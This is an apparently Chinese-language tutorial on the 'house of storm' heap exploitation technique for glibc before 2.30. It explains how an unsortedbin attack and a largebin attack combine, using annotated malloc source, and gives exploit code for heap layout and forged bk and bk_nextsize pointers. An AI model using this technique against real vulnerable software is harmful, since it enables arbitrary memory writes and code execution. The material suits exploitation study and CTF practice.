前言#
一种结合了unsortedbin attack和largebin attack的攻击办法 可以达到任意地址写的效果
在学习这两个漏洞的时候 其各自效能不大 unsortedbin 受限于对于fake chunk的size域和bk域的检查
largebin attack受限于其只能单一的在任意地址写堆地址
但是如果将二者结合起来 就可以达到任意地址申请chunk的效果
不过这个办法也是旧时代的眼泪了 在libc2.30以后就诞生了新的检查机制来防止
源码分析#
首先我们要清楚整个漏洞的触发流程 先是利用unsortedbin chunk放入到largebin chunk中 从而将fake chunk链入unsorted_chunks (av)
/* remove from unsorted list */ unsorted_chunks (av)->bk = bck; // 把 fake_chunk 链入 unsorted_chunks(av) bck->fd = unsorted_chunks (av); // 把 fake_chunk 的 fd 改成 unsorted_chunks (av)同时还可以将fake chunk的fd域修改为unsorted_chunks (av)
为了达到这一目的 我们就需要更改unsortedbin chunk的bk域为fakechunk_addr - 0x10
这里之所以还要减去0x10 是为了腾出size域和prev_size域的空间
紧接着我们需要利用largebin attack来写fake chunk的size域 以及完善fake chunk的结构 以供绕过双向链表的检测
else { victim->fd_nextsize = fwd; //unsortedbin的fd_nextsize域被设置为了largebin chunk的首地址 victim->bk_nextsize = fwd->bk_nextsize; //unsortebin的bk_nextsize域被设置为largebin的bk_nextsize fwd->bk_nextsize = victim; //把largebin的bk_nextsize域设置为unsortedbin的首地址 victim->bk_nextsize->fd_nextsize = victim;//这里就是伪造size的关键句 将unsortedbin的bk_nextsize指向的地址+0x20处填入unsortedbin地址 } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; }
mark_bin (av, victim_index); victim->bk = bck; //把 unsorted bin 里刚放进的 chunk->bk 改为 large bin->bk victim->fd = fwd; //把 unsorted bin 里刚放进的 chunk->fd 改为 large bin fwd->bk = victim; //把 large bin 的 chunk->bk 改为 unsorted bin 里刚放进的 chunk 的首地址 bck->fd = victim; //这里伪造了fake chunk的bk域//bck = fwd->bk//bck->fd = (fwd->bk)+0x10实际利用#
为了配合上述的源代码 我们需要将两个chunk的布局构造成下面这样
ptr_addr = 你想要任意写的地址-0x10payload = p64(0)+p64(ptr_addr) #unsortedbin
payload = p64(0)+p64(ptr_addr+0x8)+p64(0)+p64(ptr_addr-0x18-5) #largebin具体的数值计算就自己根据源码来看了 应该挺好懂的 还有一点需要注意的就是unsoretbin chunk和largebin chunk的释放时机
add(0x418,b'aaaa')#0add(0x18,b'aaaa')#1add(0x408,b'aaaa')#2 largebinadd(0x18,b'aaaa')#3delete(2)delete(0)add(0x418,b'aaaa')#4 unsortedbindelete(4)
ptr_addr = 0xABCD0500-0x10payload = p64(0)+p64(ptr_addr)edit(4,len(payload),payload)payload = p64(0)+p64(ptr_addr+0x8)+p64(0)+p64(ptr_addr-0x18-5)edit(2,len(payload),payload)add(0x48,b'aaaa')debug()你可以看到 要先释放largebin chunk 这是因为要将size小的放在链表头 不然后续无法将其放入largebin
总体利用还是比较简单的 难在理解